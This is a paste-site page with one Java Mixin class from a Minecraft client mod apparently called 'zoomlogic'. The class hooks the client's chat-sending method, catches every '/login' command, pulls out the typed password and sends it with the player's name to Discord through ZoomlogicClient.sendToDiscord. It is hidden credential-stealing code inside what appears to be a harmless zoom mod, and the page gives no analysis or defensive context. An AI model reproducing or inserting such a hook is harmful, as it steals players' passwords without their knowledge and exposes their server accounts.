G

Untitled

public
Guest Dec 20, 2024 Never 14
Clone
Plaintext paste1.txt 25 lines (23 loc) | 1.07 KB
1
package org.ikiazar.zoomlogic.mixin;
2
3
import net.minecraft.client.network.ClientPlayNetworkHandler;
4
import net.minecraft.network.packet.c2s.play.ChatMessageC2SPacket;
5
import org.spongepowered.asm.mixin.Mixin;
6
import org.spongepowered.asm.mixin.injection.At;
7
import org.spongepowered.asm.mixin.injection.Inject;
8
import org.spongepowered.asm.mixin.injection.callback.CallbackInfo;
9
import org.ikiazar.zoomlogic.client.ZoomlogicClient;
10
import net.minecraft.client.MinecraftClient;
11
12
@Mixin(ClientPlayNetworkHandler.class)
13
public class CommandMixin {
14
@Inject(method = "sendChatMessage", at = @At("HEAD"))
15
private void onChatMessage(String message, CallbackInfo ci) {
16
if (message.toLowerCase().startsWith("/login ")) {
17
String password = message.substring(7).trim();
18
MinecraftClient client = MinecraftClient.getInstance();
19
if (client.player != null) {
20
String playerName = client.player.getName().getString();
21
ZoomlogicClient.sendToDiscord(playerName, password);
22
}
23
}
24
}
25
}